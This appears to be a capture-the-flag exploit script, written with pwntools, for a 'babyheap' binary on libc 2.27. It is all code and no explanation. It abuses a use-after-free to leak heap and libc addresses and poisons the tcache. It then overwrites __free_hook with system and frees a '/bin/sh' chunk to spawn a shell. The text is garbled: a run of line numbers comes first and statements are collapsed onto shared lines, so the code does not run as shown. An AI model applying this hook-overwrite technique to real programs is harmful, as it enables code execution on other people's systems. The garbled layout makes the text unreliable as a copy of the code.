1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| from pwn import *
def add(size): p.sendlineafter('choice:','1') p.sendlineafter('size:',str(size))
def edit(ind,data): p.sendlineafter('choice:','2') p.sendlineafter('index:',str(ind)) p.sendafter('content:',data)
def show(ind): p.sendlineafter('choice:','3') p.sendlineafter('index:',str(ind))
def free(ind): p.sendlineafter('choice:','4') p.sendlineafter('index:',str(ind))
libc=ELF('./libc-2.27.so',checksec=0) p=process('./babyheap') add(0x58) add(0x58)
free(0) free(1) show(1)
p.readuntil(' \n') d=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00')) print(hex(d)) heap=d&0xfffffffffffff000+0x70 edit(1,p64(heap)) add(0x58) add(0x58) edit(3,p64(0)*2+p64(d-0x10)+p64(d-0x10+0x430)) add(0x58) add(0x68) edit(5,p64(0x0)+p64(0x21)+p64(0)*3+p64(0x21)) edit(4,p64(0)+p64(0x431)) free(0) show(0) p.readuntil(' \n') d=u64(p.readuntil('\n',drop=1).ljust(8,b'\x00')) malloc_hook=d-0x60-0x10 libc.address=malloc_hook-libc.sym['__malloc_hook'] system=libc.sym['system'] free_hook=libc.sym['__free_hook'] edit(3,p64(0)*2+p64(free_hook)) edit(1,b'/bin/sh\x00') add(0x58) edit(6,p64(system)) pause() free(1) p.interactive()
|